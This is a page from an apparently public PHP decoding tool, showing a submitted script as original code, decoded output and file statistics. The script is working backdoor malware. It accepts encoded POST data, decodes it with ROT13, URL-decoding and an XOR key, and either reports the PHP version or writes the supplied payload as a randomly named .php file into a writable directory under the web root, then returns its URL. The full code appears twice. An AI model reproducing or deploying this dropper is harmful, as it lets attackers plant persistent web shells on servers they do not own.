Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){i..
Decoded Output download
<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){if (strlen($brcdgf) == 16 and substr_count($zhnjc, "%") > 10){ghpeka($brcdgf, $zhnjc);}}function ghpeka($brcdgf, $zcmflzn){global $eztjxfidm;$eztjxfidm = $brcdgf;$zcmflzn = str_split(rawurldecode(str_rot13($zcmflzn)));function saonytw($slhcuovzjc, $brcdgf){global $qrjqwo, $eztjxfidm;return $slhcuovzjc ^ $qrjqwo[$brcdgf % strlen($qrjqwo)] ^ $eztjxfidm[$brcdgf % strlen($eztjxfidm)];}$zcmflzn = implode("", array_map("saonytw", array_values($zcmflzn), array_keys($zcmflzn)));$zcmflzn = @unserialize($zcmflzn);if (@is_array($zcmflzn)){$brcdgf = array_keys($zcmflzn);$zcmflzn = $zcmflzn[$brcdgf[0]];if ($zcmflzn === $brcdgf[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fzdndhbi($bhabljir) {static $gifvwm = array();$gxnlrk = glob($bhabljir . '/*', GLOB_ONLYDIR);if (count($gxnlrk) > 0) {foreach ($gxnlrk as $bhablj){if (@is_writable($bhablj)){$gifvwm[] = $bhablj;}}}foreach ($gxnlrk as $bhabljir) fzdndhbi($bhabljir);return $gifvwm;}$bhabljnwyq = $_SERVER["DOCUMENT_ROOT"];$gxnlrk = fzdndhbi($bhabljnwyq);$brcdgf = array_rand($gxnlrk);$qsladtsf = $gxnlrk[$brcdgf] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qsladtsf, $zcmflzn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qsladtsf, strlen($bhabljnwyq));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $qrjqwo = "jlfvonbpmfwnfamw";$eztjxfidm = "";foreach ($_POST as $brcdgf => $zhnjc){if (strlen($brcdgf) == 16 and substr_count($zhnjc, "%") > 10){ghpeka($brcdgf, $zhnjc);}}function ghpeka($brcdgf, $zcmflzn){global $eztjxfidm;$eztjxfidm = $brcdgf;$zcmflzn = str_split(rawurldecode(str_rot13($zcmflzn)));function saonytw($slhcuovzjc, $brcdgf){global $qrjqwo, $eztjxfidm;return $slhcuovzjc ^ $qrjqwo[$brcdgf % strlen($qrjqwo)] ^ $eztjxfidm[$brcdgf % strlen($eztjxfidm)];}$zcmflzn = implode("", array_map("saonytw", array_values($zcmflzn), array_keys($zcmflzn)));$zcmflzn = @unserialize($zcmflzn);if (@is_array($zcmflzn)){$brcdgf = array_keys($zcmflzn);$zcmflzn = $zcmflzn[$brcdgf[0]];if ($zcmflzn === $brcdgf[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fzdndhbi($bhabljir) {static $gifvwm = array();$gxnlrk = glob($bhabljir . '/*', GLOB_ONLYDIR);if (count($gxnlrk) > 0) {foreach ($gxnlrk as $bhablj){if (@is_writable($bhablj)){$gifvwm[] = $bhablj;}}}foreach ($gxnlrk as $bhabljir) fzdndhbi($bhabljir);return $gifvwm;}$bhabljnwyq = $_SERVER["DOCUMENT_ROOT"];$gxnlrk = fzdndhbi($bhabljnwyq);$brcdgf = array_rand($gxnlrk);$qsladtsf = $gxnlrk[$brcdgf] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qsladtsf, $zcmflzn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qsladtsf, strlen($bhabljnwyq));exit();}}}
Function Calls
None |
Stats
MD5 | c65d30554c2c5beb5121d22f38111f90 |
Eval Count | 0 |
Decode Time | 83 ms |